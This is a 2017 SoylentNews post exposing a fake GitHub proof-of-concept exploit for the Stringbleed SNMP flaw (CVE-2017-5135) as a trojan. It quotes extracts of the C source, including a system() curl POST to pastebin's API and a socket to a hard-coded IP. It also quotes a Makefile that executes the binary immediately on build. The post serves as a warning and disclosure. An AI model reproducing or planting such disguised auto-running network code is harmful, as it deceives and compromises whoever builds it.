Stories
Slash Boxes
Comments

SoylentNews is people

posted by martyb on Sunday April 30 2017, @11:37AM   Printer-friendly
from the quis-custodiet-ipsos-custodes? dept.

In a Security Week article by Ionut Arghir about a newly discovered SNMP vulnerability which allows authentication mechanisms to be bypassed on dozens of network device models (more detail here and here), the author included a link to a github repository (https://github.com/string-bleed/StringBleed-CVE-2017-5135 -- Don't compile and execute the code, but by all means take a look) which purports to be a proof-of-concept (POC) exploit of the vulnerability. However, it's not. It's a trojan which will exfiltrate data from your system.

From the Security Week article:

The issue, the researchers say [this is the link to the trojaned "POC"], resides in the manner in which the SNMP agent in different devices (usually cable modems) handles a human-readable string datatype value called "community string" that SNMP version 1 and 2 use.

The folks at Mitre (who manage the CVE database) caught this and make mention of the issue in their DB entry:

Certain Technicolor devices have an SNMP access-control bypass, possibly involving an ISP customization in some cases. The Technicolor (formerly Cisco) DPC3928SL with firmware D3928SL-P15-13-A386-c3420r55105-160127a could be reached by any SNMP community string from the Internet; also, you can write in the MIB because it provides write properties, aka Stringbleed. NOTE: the string-bleed/StringBleed-CVE-2017-5135 GitHub repository is not a valid reference as of 2017-04-27; it contains Trojan horse code purported to exploit this vulnerability.

The github repository contains a license, a readme, a Makefile and one source file, poc-linux.c. Looking at the C code, it's immediately clear that this is *not* an SNMP exploit (extracts from poc-linux.c):

void make_http_body()
{
        system("curl -X POST https://pastebin.com/api/api_post.php --data 'api_option=paste&api_paste_name=dotslashhacker&api_paste_expire_date=10M&api_paste_format=c&api_paste_private=0&api_dev_key=8fc2bb602e03acd0c45830805b878497&api_paste_code=i%20randomly%20run%20PoC%20exploits%20without%20checking%20them%20first%20'");

        printf("\n\n:)\n\n");
}

int make_packet(char *_packet, char *_fname, int *_body_len)
{

int header_len;
int packet_len;
char *body_line = calloc(sizeof(char), DATA_SIZE);
char *header_line = calloc(sizeof(char), DATA_SIZE);
make_http_body();
return 123;
}

[...]

int main(int argc, char* argv[])
{
  int i;
        int packet_len;
  int sock;
  int body_len;
  char *packet = calloc(sizeof(char), DATA_SIZE);

  char *f_name = '/etc/snmp';
  sock = socket_connect("104.20.209.21", 80);
  packet_len = make_packet(packet,f_name, &body_len);
  return 0;
}

What's more, the Makefile executes the binary immediately upon compiling/linking:


all: poclinux

poclinux:
        gcc -Qunused-arguments -std=gnu99 poc-linux.c -o poc-linux
        chmod +x poc-linux && ./poc-linux

I'm wondering why Mr. Arghir over at Security Week didn't do his due diligence (and it didn't take much, just opening the C file, or even just looking at the CVE entry at Mitre.org.

I know it goes against much of what Soylentils stand for, but TFA is a short read. Based on TFA, would any of you have simply gone to github and built this "POC" without making sure it was what it purported to be?

Also, is anyone actually still using SNMP v1/2/2c, rather than v3?


Original Submission

 
This discussion has been archived. No new comments can be posted.
Display Options Threshold/Breakthrough Mark All as Read Mark All as Unread
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.